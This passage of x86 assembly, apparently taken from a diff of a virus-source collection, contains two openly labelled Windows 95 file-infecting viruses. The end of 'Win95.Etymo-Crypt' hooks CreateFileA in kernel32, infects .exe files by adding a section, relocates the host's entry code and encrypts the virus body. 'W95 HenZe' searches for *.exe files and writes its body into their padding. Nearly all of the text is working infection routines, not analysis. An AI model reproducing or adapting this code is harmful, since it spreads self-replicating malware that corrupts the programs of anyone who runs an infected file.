mov edx, [ebx+54h] ; kernel32 header size
|
||||
; (virus RVA in kernel32)
|
||||
add edx, (hook - virus_start) ; RVA virus hook in kernel32
|
||||
mov [ecx], edx ; hook API!
|
||||
|
||||
|
||||
pop edi ; restore EDI:virus VA in k32
|
||||
mov esi, ebp ; ESI=start of virus in mem
|
||||
mov ecx, virussize ; ECX=virussize
|
||||
cld ; clear directory flag
|
||||
rep movsb ; move virus to TSR location!
|
||||
sub edi, (virus_end - go_on_r0) ; EDI=offset go_on_r0 in k32
|
||||
JMP restore_host ; restore host
|
||||
|
||||
already_resident:
|
||||
add edi, (go_on_r0 - virus_start) ; EDI=offset go_on_r0 in k32
|
||||
|
||||
restore_host:
|
||||
mov esi, [ebp + (org_host_code_VA - virus_start)] ; ESI=offset
|
||||
; of original host code
|
||||
JMP edi ; go to go_on_r0 in kernel32
|
||||
|
||||
|
||||
go_on_r0:
|
||||
mov edi, ebp ; EDI=virus/host entrypoint
|
||||
mov ecx, virussize ; ECX=virussize
|
||||
cld ; clear directory flag
|
||||
rep movsb ; move host code back!
|
||||
iretd ; go to original entry point
|
||||
; in ring3!
|
||||
|
||||
; ----- TSR VIRUS HOOK OF CreateFileA ---------------------------------------
|
||||
hook:
|
||||
push eax ; reserve room on stack for
|
||||
; return address
|
||||
pushf ; save flags
|
||||
pusha ; save all registers
|
||||
|
||||
call TSR_next ; get delta offset
|
||||
TSR_next:
|
||||
pop ebp
|
||||
sub ebp, offset TSR_next
|
||||
|
||||
mov eax, [ebp+offset CreateFileA] ; address of original routine
|
||||
mov [esp+9*4], eax ; set return address
|
||||
mov esi, [esp+11*4] ; get address of filename
|
||||
|
||||
push esi ; save it
|
||||
search_ext:
|
||||
lodsb ; get a byte from filename
|
||||
or al, al ; end of filename?
|
||||
JNZ search_ext ; search on
|
||||
mov eax, [esi-4] ; get extension in AX
|
||||
pop esi ; restore filename ptr in ESI
|
||||
or eax, 00202020h ; make lowercase
|
||||
cmp eax, "exe" ; is it an EXE file?
|
||||
JNE exit_hook ; if not, then exit
|
||||
|
||||
push esi ; offset filename
|
||||
call [ebp+offset GetFileAttributesA] ; get file attribtes
|
||||
inc eax ; -1 means error
|
||||
JZ exit_hook
|
||||
dec eax
|
||||
|
||||
push eax ; save attributes and
|
||||
push esi ; filename ptr so we can
|
||||
; restore the attribs later
|
||||
|
||||
push 80h ; normal attributes
|
||||
push esi
|
||||
call [ebp+offset SetFileAttributesA] ; reset file attributes
|
||||
or eax, eax ; 0 means error
|
||||
JZ reset_attributes
|
||||
|
||||
push 0 ; template file (shit)
|
||||
push 80h ; file attributes (normal)
|
||||
push 3 ; open existing
|
||||
push 0 ; security attributes (shit)
|
||||
push 0 ; do not share file
|
||||
push 0C0000000h ; read/write mode
|
||||
push esi ; pointer to filename
|
||||
call [ebp+offset CreateFileA] ; OPEN FILE.
|
||||
inc eax ; EAX= -1 (Invalid handle)
|
||||
JZ reset_attributes
|
||||
dec eax
|
||||
push eax ; save filehandle
|
||||
xchg edi, eax ; EDI=filehandle
|
||||
|
||||
sub esp, 3*8 ; reserve space on stack
|
||||
; to store the filetimes
|
||||
|
||||
mov ebx, esp ; get the filetimes to the
|
||||
push ebx ; reserved place on stack
|
||||
add ebx, 8
|
||||
push ebx
|
||||
add ebx, 8
|
||||
push ebx
|
||||
push edi ; filehandle
|
||||
call [ebp+offset GetFileTime] ; get the filetimes
|
||||
or eax, eax ; error?
|
||||
JZ closefile
|
||||
|
||||
push 0 ; high file_size dword ptr
|
||||
push edi
|
||||
call [ebp+offset GetFileSize] ; get the filesize to EAX
|
||||
inc eax ; -1 means error
|
||||
JZ closefile
|
||||
dec eax
|
||||
|
||||
mov ebx, esp ; save addresses of filetimes
|
||||
push ebx ; for the API call to restore
|
||||
add ebx, 8 ; them later
|
||||
push ebx
|
||||
add ebx, 8
|
||||
push ebx
|
||||
push edi
|
||||
|
||||
push edi ; filehandle for SetEndofFile
|
||||
|
||||
; for the SetFilePointer at
|
||||
; the end to truncate file
|
||||
push 0 ; move relative to filestart
|
||||
push 0 ; high word of file pointer
|
||||
push eax ; filesize
|
||||
push edi ; filehandle
|
||||
|
||||
add eax, workspace
|
||||
push 0 ; name file mapping obj (shit)
|
||||
push eax ; low dword of file_size
|
||||
push 0 ; high dword of file_size
|
||||
push 4 ; PAGE_READWRITE
|
||||
push 0 ; security attributes (shit)
|
||||
push edi
|
||||
call [ebp+offset CreateFileMappingA]
|
||||
or eax, eax ; error happened?
|
||||
JZ error_createfilemapping
|
||||
|
||||
push eax ; save maphandle for
|
||||
; CloseHandle
|
||||
|
||||
push 0 ; map the whole file
|
||||
push 0 ; low dword of fileoffset
|
||||
push 0 ; high dword of fileoffset
|
||||
push 2 ; read/write access
|
||||
push eax ; maphandle
|
||||
call [ebp+offset MapViewOfFile]
|
||||
or eax, eax
|
||||
JZ closemaphandle
|
||||
|
||||
push eax ; save mapbase for
|
||||
; UnmapViewOfFile
|
||||
|
||||
cmp word ptr [eax], "ZM" ; exe file?
|
||||
JNE closemap ; if not, then exit
|
||||
|
||||
cmp word ptr [eax+18h], 40h ; new executable header?
|
||||
JNE closemap ; if not, then exit
|
||||
|
||||
add eax, [eax+3Ch] ; EBX=new header address
|
||||
cmp dword ptr [eax], "EP" ; PE file?
|
||||
JNE closemap ; if not, then exit
|
||||
|
||||
test word ptr [eax+16h], 0010000000000000b ; DLL ?
|
||||
JNZ closemap ; if yes, then exit
|
||||
|
||||
movzx ecx, word ptr [eax+14h] ; SizeOfOptionalHeader
|
||||
mov ebx, eax ; EBX=offset PE header
|
||||
add ebx, 18h ; SizeOfNTHeader
|
||||
add ebx, ecx ; EBX=first section header
|
||||
push ebx ; save it
|
||||
|
||||
find_code_section:
|
||||
mov ecx, [eax+28h] ; ECX=EntryRVA
|
||||
sub ecx, [ebx+0Ch] ; Virtualaddress of section
|
||||
sub ecx, [ebx+10h] ; SizeOfRawData
|
||||
JB found_code_section ; we found the code section!
|
||||
add ebx, 40 ; next section
|
||||
JMP find_code_section ; search on
|
||||
|
||||
found_code_section:
|
||||
mov edx, [eax+28h] ; EDX=EntryRVA
|
||||
sub edx, [ebx+0Ch] ; Virtualaddress
|
||||
add edx, [ebx+14h] ; AddressOfRawData
|
||||
; EDX=RAW ptr to entrypoint
|
||||
|
||||
pop ebx ; EBX=first section header
|
||||
|
||||
cmp ecx, -virussize ; enough room left in the
|
||||
JG closemap ; section for the virus body?
|
||||
|
||||
mov ecx, [esp] ; ECX=mapbase
|
||||
add ecx, edx ; ECX=entrypoint in Filemap
|
||||
|
||||
cmp byte ptr [ecx], 0A1h ; already infected ?
|
||||
JE closemap ; if so, then exit
|
||||
|
||||
push edx ; save RAW entrypoint address
|
||||
|
||||
movzx edx, word ptr [eax+6] ; NumberOfSections
|
||||
dec edx
|
||||
imul edx, edx, 40
|
||||
add ebx, edx ; EBX=last section header
|
||||
|
||||
inc word ptr [eax+6] ; increase NumberOfSections
|
||||
|
||||
mov dword ptr [ebx+40+00h], "adv." ; name ".vdata"
|
||||
mov dword ptr [ebx+40+04h], "at"
|
||||
mov dword ptr [ebx+40+08h], virussize ; Virtualsize
|
||||
|
||||
mov edx, [ebx+0Ch] ; VirtualAddress
|
||||
add edx, [ebx+08h] ; VirtualSize
|
||||
mov ecx, [eax+38h] ; SectionAlign
|
||||
call align_EDX
|
||||
|
||||
mov dword ptr [ebx+40+0Ch], edx ; VirtualAddress
|
||||
|
||||
add edx, virussize ; new ImageSize
|
||||
call align_EDX ; align to SectionAlign
|
||||
|
||||
mov dword ptr [eax+50h], edx ; store new ImageSize
|
||||
|
||||
mov edx, virussize
|
||||
mov ecx, [eax+3Ch] ; FileAlign
|
||||
call align_EDX ; align virsize to FileAlign
|
||||
|
||||
mov dword ptr [ebx+40+10h], edx ; store new SizeOfRawData
|
||||
|
||||
mov edx, [ebx+14h] ; PointerToRawData
|
||||
add edx, [ebx+10h] ; SizeOfRawData
|
||||
call align_EDX ; align new section
|
||||
; raw offset to FileAlign
|
||||
|
||||
mov dword ptr [ebx+40+14h], edx ; store new PointerToRawData
|
||||
|
||||
add edx, [ebx+40+10h] ; SizeOfRawData
|
||||
mov dword ptr [esp+4*4], edx ; new filesize
|
||||
|
||||
mov dword ptr [ebx+40+18h], 0 ; Relocation shit
|
||||
mov dword ptr [ebx+40+1Ch], 0
|
||||
mov dword ptr [ebx+40+20h], 0
|
||||
mov dword ptr [ebx+40+24h], 0C0000040h ; flags: [IWR], this is the
|
||||
; standart for data sections
|
||||
|
||||
mov edx, dword ptr [ebx+40+0Ch] ; RVA host code
|
||||
add edx, [eax+34h] ; add ImageBase to get VA
|
||||
|
||||
pop esi ; ESI=RAW entrypoint address
|
||||
pop eax ; EAX=mapbase
|
||||
push eax ; we still need it on stack
|
||||
add esi, eax ; ESI=entrypoint in FileMap
|
||||
push esi ; save it on stack
|
||||
mov edi, dword ptr [ebx+40+14h] ; PointerToRawData
|
||||
add edi, eax ; start of new section in map
|
||||
mov ecx, virussize ; bytes to move
|
||||
push ecx ; save virussize on stack
|
||||
cld
|
||||
mov eax, edi ; EAX=new section in FileMap
|
||||
rep movsb ; of entry point code to
|
||||
; newly created section
|
||||
|
||||
pop ecx ; ECX=virussize
|
||||
pop edi ; EDI=entrypoint in Filemap
|
||||
lea esi, [ebp + offset virus_start] ; ESI=virusstart in memory
|
||||
rep movsb ; move virus body to
|
||||
; original Entrypoint of File
|
||||
|
||||
mov [edi - (virus_end-org_host_code_VA)], edx ; store RVA of
|
||||
; original host start code
|
||||
|
||||
push edi ; Save end of virus body
|
||||
; in Filemap
|
||||
|
||||
mov esi, edi ; ESI=virus end in Filemap
|
||||
sub esi, virussize ; ESI=virus start in Filemap
|
||||
xchg edi, eax ; EDI=start of new section
|
||||
|
||||
; Encrypt the code from the original entry point against the virus body.
|
||||
|
||||
encrypt_loop:
|
||||
lodsb
|
||||
add byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
xor byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
sub byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
xor byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
cmp ecx, virussize ; all encrypted?
|
||||
JB encrypt_loop ; if not, then crypt on
|
||||
|
||||
|
||||
; and now the main part of the virus body is encrypted itself. It is crypted
|
||||
; from the end of the virus body upwards, for each dword is the next dword
|
||||
; used as crypt key. The first key is the first dword of the encrypted
|
||||
; host code.
|
||||
|
||||
mov ecx, ((virus_end - encrypted)/4) ; size to crypt in dwords
|
||||
mov eax, dword ptr [edi] ; initial key
|
||||
pop edi ; end of virus in filemap
|
||||
|
||||
encrypt_virus_body:
|
||||
dec edi ; go to previous dword
|
||||
dec edi
|
||||
dec edi
|
||||
dec edi
|
||||
|
||||
mov ebx, dword ptr [edi] ; this dword is the next key
|
||||
xor dword ptr [edi], eax ; encrypt it with this key
|
||||
xchg ebx, eax ; change keys
|
||||
LOOP encrypt_virus_body ; LOOP until encryption done
|
||||
|
||||
|
||||
; the parameters for the following API calls have already been pushed on the
|
||||
; stack while the opening process of the file
|
||||
|
||||
closemap:
|
||||
call [ebp+offset UnmapViewOfFile] ; unmap file
|
||||
|
||||
closemaphandle:
|
||||
call [ebp+offset CloseHandle] ; close map handle
|
||||
|
||||
error_createfilemapping:
|
||||
call [ebp+offset SetFilePointer] ; set file pointer to EOF
|
||||
|
||||
call [ebp+offset SetEndOfFile] ; truncate file here
|
||||
|
||||
call [ebp+offset SetFileTime] ; restore filetimes
|
||||
|
||||
closefile:
|
||||
add esp, 8*3 ; remove filetimes from stack
|
||||
|
||||
call [ebp+offset CloseHandle] ; close file
|
||||
|
||||
reset_attributes:
|
||||
call [ebp+offset SetFileAttributesA] ; reset attributes
|
||||
|
||||
exit_hook:
|
||||
popa ; restore all registers
|
||||
popf ; restore flags
|
||||
ret ; go to original API routine
|
||||
|
||||
; ----- ALIGN SUBROUTINE ----------------------------------------------------
|
||||
; aligns EDX to ECX
|
||||
align_EDX:
|
||||
push eax ; save EAX
|
||||
push edx ; save EDX
|
||||
xchg eax, edx ; EAX=value to align
|
||||
xor edx, edx ; EDX=0
|
||||
div ecx ; divide EDX:EAX by ECX
|
||||
pop eax ; restore old EDX in EAX
|
||||
or edx, edx ; EDX=mod of division
|
||||
JZ already_aligned ; already aligned?
|
||||
add eax, ecx ; if not align
|
||||
sub eax, edx ; EDX=mod
|
||||
already_aligned:
|
||||
xchg eax, edx ; EDX=aligned value
|
||||
pop eax ; restore EAX
|
||||
ret
|
||||
|
||||
|
||||
db "[Win95.Etymo-Crypt] by Black Jack", 0
|
||||
db "This virus was written in Austria in May/June/July 2000", 0
|
||||
|
||||
names_RVA_table:
|
||||
dd (n_GetFileAttributesA - virus_start)
|
||||
dd (n_SetFileAttributesA - virus_start)
|
||||
dd (n_GetFileTime - virus_start)
|
||||
dd (n_GetFileSize - virus_start)
|
||||
dd (n_CreateFileMappingA - virus_start)
|
||||
dd (n_MapViewOfFile - virus_start)
|
||||
dd (n_UnmapViewOfFile - virus_start)
|
||||
dd (n_SetFilePointer - virus_start)
|
||||
dd (n_SetEndOfFile - virus_start)
|
||||
dd (n_CloseHandle - virus_start)
|
||||
dd (n_SetFileTime - virus_start)
|
||||
dd (n_CreateFileA - virus_start)
|
||||
dd 0
|
||||
|
||||
n_GetFileAttributesA db "GetFileAttributesA", 0
|
||||
n_SetFileAttributesA db "SetFileAttributesA", 0
|
||||
n_GetFileTime db "GetFileTime", 0
|
||||
n_GetFileSize db "GetFileSize", 0
|
||||
n_CreateFileMappingA db "CreateFileMappingA", 0
|
||||
n_MapViewOfFile db "MapViewOfFile", 0
|
||||
n_UnmapViewOfFile db "UnmapViewOfFile", 0
|
||||
n_SetFilePointer db "SetFilePointer", 0
|
||||
n_SetEndOfFile db "SetEndOfFile", 0
|
||||
n_CloseHandle db "CloseHandle", 0
|
||||
n_SetFileTime db "SetFileTime", 0
|
||||
n_CreateFileA db "CreateFileA", 0
|
||||
|
||||
API_RVAs:
|
||||
GetFileAttributesA dd ?
|
||||
SetFileAttributesA dd ?
|
||||
GetFileTime dd ?
|
||||
GetFileSize dd ?
|
||||
CreateFileMappingA dd ?
|
||||
MapViewOfFile dd ?
|
||||
UnmapViewOfFile dd ?
|
||||
SetFilePointer dd ?
|
||||
SetEndOfFile dd ?
|
||||
CloseHandle dd ?
|
||||
SetFileTime dd ?
|
||||
CreateFileA dd ?
|
||||
|
||||
hook_API dd ?
|
||||
|
||||
if ((($-virus_start) mod 4) NE 0) ; align virussize to dwords
|
||||
db (4-(($-virus_start) mod 4)) dup(0)
|
||||
endif
|
||||
|
||||
virus_end:
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,523 @@
|
||||
;---------------------------- W95 HenZe BY HenKy -----------------------------
|
||||
;
|
||||
;-AUTHOR: HenKy
|
||||
;
|
||||
;-MAIL: HenKy_@latinmail.com
|
||||
;
|
||||
;-ORIGIN: SPAIN
|
||||
;
|
||||
|
||||
|
||||
.586P
|
||||
.MODEL FLAT
|
||||
LOCALS
|
||||
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
|
||||
KERNEL95 EQU 0BFF70000h
|
||||
MIX_SIZ EQU FILE_END-MEGAMIX
|
||||
MIX_MEM EQU MEM_END-MEGAMIX
|
||||
NABLA EQU DELTA-MEGAMIX
|
||||
MARKA EQU 66
|
||||
FLAGZ EQU 00000020H OR 20000000H OR 80000000H
|
||||
MAX_PATH EQU 260
|
||||
|
||||
MACROSIZE MACRO
|
||||
|
||||
DB MIX_SIZ/01000 mod 10 + "0"
|
||||
DB MIX_SIZ/00100 mod 10 + "0"
|
||||
DB MIX_SIZ/00010 mod 10 + "0"
|
||||
DB MIX_SIZ/00001 mod 10 + "0"
|
||||
|
||||
ENDM
|
||||
|
||||
; LAME W9X PARASITIC RUNTIME PADDINGX OVERWRITER
|
||||
; INFECTED FILES WONT GROW, BUT NEED PADDINGX SERIES (USSUALLY AT RELOC SECTION)
|
||||
|
||||
; MOV
|
||||
; CALL
|
||||
; JNZ ONLY SIX OPCODES WERE USED.. xDDD
|
||||
; ADD /
|
||||
; SUB /
|
||||
; CMP /
|
||||
|
||||
; AND NO INDEXING MODE (EASY DISASM CODE)
|
||||
|
||||
;MOV EAX,[EBP+5]
|
||||
|
||||
;TURNS INTO:
|
||||
|
||||
; ADD EBP,5
|
||||
; MOV EAX,[EBP]
|
||||
|
||||
;AND SO...
|
||||
|
||||
; *INFINITE* THX TO T00FiC FOR THE REDUCED OPCODE SET IDEA AND
|
||||
|
||||
; SEVERAL META TIPS
|
||||
|
||||
.DATA
|
||||
|
||||
copyrisgt DB 'HenZe '
|
||||
|
||||
MACROSIZE
|
||||
.CODE
|
||||
|
||||
; BIZARRE VIRUS BEGINS...
|
||||
MEGAMIX:
|
||||
|
||||
|
||||
MOV EAX, 401005H
|
||||
MILO EQU $-4
|
||||
DELTA:
|
||||
MOV EBP,EAX
|
||||
WINES:
|
||||
MOV EAX,KERNEL95
|
||||
MOV CL,'M'
|
||||
CMP BYTE PTR [EAX],CL
|
||||
JNZ WARNING
|
||||
MOV EBX,EAX
|
||||
MOV EDX,02b226A57h ; GPA SIGNATURE FOR W9X
|
||||
|
||||
BUSCA3:
|
||||
ADD EAX,1
|
||||
CMP DWORD PTR [EAX],EDX
|
||||
JNZ SHORT BUSCA3
|
||||
APIZ:
|
||||
|
||||
MOV ECX,OFFSET GPA
|
||||
ADD ECX,EBP
|
||||
SUB ECX,OFFSET DELTA
|
||||
MOV [ECX],EAX
|
||||
MOV ESI, OFFSET APIs
|
||||
ADD ESI,EBP
|
||||
SUB ESI,OFFSET DELTA
|
||||
MOV EDI,OFFSET APIaddresses
|
||||
ADD EDI,EBP
|
||||
SUB EDI,OFFSET DELTA
|
||||
|
||||
GPI: SUB ESP,4
|
||||
MOV [ESP],ESI
|
||||
SUB ESP,4
|
||||
MOV [ESP],EBX
|
||||
MOV ECX,OFFSET GPA
|
||||
ADD ECX,EBP
|
||||
SUB ECX,OFFSET DELTA
|
||||
CALL [ECX]
|
||||
|
||||
MOV [EDI],EAX
|
||||
ADD EDI,4
|
||||
|
||||
|
||||
NPI:
|
||||
MOV AL,BYTE PTR [ESI]
|
||||
ADD ESI,1
|
||||
|
||||
CMP AL,0
|
||||
JNZ SHORT NPI
|
||||
CMP [ESI], AL
|
||||
JNZ GPI
|
||||
|
||||
|
||||
|
||||
INFECT:
|
||||
|
||||
MOV EAX, OFFSET Win32FindData
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX,OFFSET IMASK
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX,OFFSET FindFirstFile
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
MOV EBX, OFFSET SearcHandle
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
MOV [EBX],EAX
|
||||
|
||||
|
||||
LOOPER:
|
||||
CMP EAX,-1
|
||||
JNZ SUPPER
|
||||
|
||||
|
||||
WARNING:
|
||||
|
||||
MOV EAX,12345678H
|
||||
ORG $-4
|
||||
OLD_EIP DD 00401000H
|
||||
ADD ESP,4
|
||||
CALL EAX ; SUXXX!!! I DONT WANT TO WASTE JMP HERE
|
||||
|
||||
SUPPER:
|
||||
|
||||
CMP EAX,0
|
||||
JNZ ALLKEY
|
||||
PILLE:
|
||||
CMP ESP,0 ; ESP NEVER IS ZERO
|
||||
JNZ WARNING
|
||||
|
||||
ALLKEY:
|
||||
|
||||
SUB ESP,4
|
||||
MOV EAX,OFFSET OLD_EIP
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
MOV EBX,[EAX]
|
||||
MOV [ESP],EBX
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],00000080h
|
||||
SUB ESP,4
|
||||
MOV [ESP],3
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],0C0000000h
|
||||
|
||||
MOV EAX ,offset FNAME ; OPEN IT!
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX, OFFSET CreateFile
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
|
||||
MOV EBX,OFFSET FileHandle
|
||||
ADD EBX,EBP
|
||||
SUB EBX, OFFSET DELTA
|
||||
MOV [EBX],EAX ; SAVE HNDL
|
||||
MOV EBX,OFFSET WFD_nFileSizeLow
|
||||
ADD EBX,EBP
|
||||
SUB EBX, OFFSET DELTA
|
||||
MOV ECX, [EBX]
|
||||
|
||||
MOV EDX,0
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],ECX
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],4H
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
|
||||
SUB ESP,4
|
||||
MOV EBX,OFFSET FileHandle
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
MOV ECX,[EBX]
|
||||
MOV [ESP],ECX
|
||||
MOV EAX, OFFSET CreateFileMappingA
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
|
||||
MOV EBX,OFFSET MapHandle
|
||||
ADD EBX,EBP
|
||||
SUB EBX, OFFSET DELTA
|
||||
MOV [EBX],EAX
|
||||
|
||||
MOV EBX,OFFSET WFD_nFileSizeLow
|
||||
ADD EBX,EBP
|
||||
SUB EBX, OFFSET DELTA
|
||||
MOV ECX, [EBX]
|
||||
|
||||
MOV EDX,0
|
||||
SUB ESP,4
|
||||
MOV [ESP],ECX
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
ADD EDX,2
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDX
|
||||
SUB ESP,4
|
||||
MOV ECX, OFFSET MapHandle
|
||||
ADD ECX,EBP
|
||||
SUB ECX,OFFSET DELTA
|
||||
MOV EBX,[ECX]
|
||||
MOV [ESP],EBX
|
||||
MOV EBX, OFFSET MapViewOfFile
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
CALL [EBX]
|
||||
|
||||
MOV EBX,OFFSET MapAddress
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
MOV [EBX],EAX
|
||||
MOV ESI,EAX ; GET PE HDR
|
||||
MOV EDX,EAX
|
||||
ADD EAX,3CH
|
||||
MOV ESI,[EAX]
|
||||
ADD ESI,EDX
|
||||
CMP BYTE PTR [ESI],"P" ; IS A 'P'E ?
|
||||
JNZ Cerrar
|
||||
ADD ESI,MARKA
|
||||
CMP BYTE PTR [ESI],"H" ; HenKy IS HERE ?
|
||||
JNZ Cerrar1
|
||||
CMP ESP,0
|
||||
JNZ Cerrar
|
||||
|
||||
Cerrar1:
|
||||
SUB ESI,MARKA
|
||||
MOV EBX,ESI
|
||||
ADD EBX,3CH
|
||||
MOV EAX,[EBX] ; ONLY SOME W98 HAVE 1000H/1000H INSTEAD 1000H/200H
|
||||
MOV ECX,ESI
|
||||
ADD ECX,56
|
||||
CMP EAX,[ECX]
|
||||
JNZ Cerrar
|
||||
|
||||
SUB ESP,4
|
||||
MOV [ESP],ESI
|
||||
MOV ECX,0
|
||||
MOV EDI,ESI
|
||||
ADD EDI,6
|
||||
MOV CL,BYTE PTR [EDI]
|
||||
ADD EDI,74H-6
|
||||
MOV EBX,[EDI]
|
||||
ADD EBX,EBX
|
||||
ADD EBX,EBX
|
||||
ADD EBX,EBX
|
||||
ADD ESI,78H
|
||||
ADD ESI,EBX
|
||||
ADD ESI,24H
|
||||
WRI:
|
||||
MOV DWORD PTR [ESI], 0C0000040h
|
||||
ADD ESI,40
|
||||
SUB ECX,1
|
||||
CMP ECX,0
|
||||
JNZ WRI
|
||||
|
||||
MOV ESI,[ESP]
|
||||
ADD ESP,4
|
||||
|
||||
MOV EDI,ESI
|
||||
ADD ESI,28H
|
||||
MOV EAX,[ESI]
|
||||
ADD ESI,34H-28H
|
||||
ADD EAX,[ESI]
|
||||
MOV ECX,[ESI]
|
||||
MOV EDX,OFFSET BASE
|
||||
ADD EDX,EBP
|
||||
SUB EDX,OFFSET DELTA
|
||||
MOV [EDX],ECX
|
||||
MOV EBX,OFFSET OLD_EIP
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
MOV [EBX],EAX
|
||||
MOV ESI,EDI
|
||||
ADD ESI,MARKA
|
||||
MOV BYTE PTR [ESI],"H" ; HenKy!
|
||||
MOV EAX,OFFSET WFD_nFileSizeLow
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
MOV ECX,[EAX]
|
||||
MOV EAX,EDI
|
||||
BU:
|
||||
CMP DWORD PTR [EDI], 'XGNI'
|
||||
JNZ PE
|
||||
CMP ESP,0
|
||||
JNZ PO
|
||||
|
||||
PE:
|
||||
ADD EDI,1
|
||||
SUB ECX,1
|
||||
CMP ECX,0
|
||||
JNZ BU
|
||||
CMP ESP,0
|
||||
JNZ Cerrar
|
||||
|
||||
PO:
|
||||
MOV ESI,EDI
|
||||
ADD ESI,4
|
||||
CMP DWORD PTR [ESI], 'DAPX'
|
||||
JNZ PE
|
||||
SUB ESP,4
|
||||
MOV [ESP],EDI
|
||||
MOV EBX,OFFSET MapAddress
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
SUB EDI,[EBX]
|
||||
ADD EAX,28H
|
||||
MOV [EAX],EDI
|
||||
MOV EBX,OFFSET BASE
|
||||
ADD EBX,EBP
|
||||
SUB EBX,OFFSET DELTA
|
||||
ADD EDI,[EBX]
|
||||
ADD EDI,5
|
||||
MOV EDX,OFFSET MILO
|
||||
ADD EDX,EBP
|
||||
SUB EDX,OFFSET DELTA
|
||||
MOV [EDX],EDI
|
||||
|
||||
MOV EDI,[ESP]
|
||||
ADD ESP,4
|
||||
|
||||
MOV ESI,OFFSET MEGAMIX
|
||||
ADD ESI,EBP
|
||||
SUB ESI,OFFSET DELTA
|
||||
MOV ECX,MIX_SIZ/4
|
||||
|
||||
BASTARDO_VIRUS:
|
||||
|
||||
MOV EAX,[ESI]
|
||||
MOV [EDI],EAX
|
||||
ADD ESI,4
|
||||
ADD EDI,4
|
||||
SUB ECX,1
|
||||
CMP ECX,0
|
||||
JNZ BASTARDO_VIRUS
|
||||
|
||||
UnMapFile:
|
||||
|
||||
MOV EAX, OFFSET MapAddress
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX, OFFSET UnmapViewOfFile
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
|
||||
CloseMap:
|
||||
|
||||
MOV EAX, OFFSET MapHandle
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX, OFFSET CloseHandle
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
|
||||
|
||||
Cerrar:
|
||||
|
||||
MOV EAX,OFFSET OLD_EIP
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
MOV EBX,[ESP]
|
||||
MOV [EAX],EBX
|
||||
ADD ESP,4
|
||||
|
||||
MOV EAX, OFFSET FileHandle
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX, OFFSET CloseHandle
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
|
||||
|
||||
TOPO:
|
||||
|
||||
|
||||
MOV EAX, offset Win32FindData
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
|
||||
MOV EAX, OFFSET SearcHandle
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
SUB ESP,4
|
||||
MOV [ESP],EAX
|
||||
MOV EAX, OFFSET FindNextFile
|
||||
ADD EAX,EBP
|
||||
SUB EAX,OFFSET DELTA
|
||||
CALL [EAX]
|
||||
CMP ESP,0
|
||||
JNZ LOOPER
|
||||
|
||||
|
||||
APIs:
|
||||
DB "CreateFileA",0
|
||||
DB "CloseHandle",0
|
||||
DB "FindFirstFileA",0
|
||||
DB "FindNextFileA",0
|
||||
DB "MapViewOfFile",0
|
||||
DB "UnmapViewOfFile",0
|
||||
DB "CreateFileMappingA",0
|
||||
Zero_ DB 0
|
||||
BASE DD 0
|
||||
|
||||
IMASK DB '*.ExE',0
|
||||
DB 'HenZe LameVirus BY HenKy',0
|
||||
|
||||
align 4
|
||||
|
||||
FILE_END LABEL BYTE
|
||||
|
||||
APIaddresses:
|
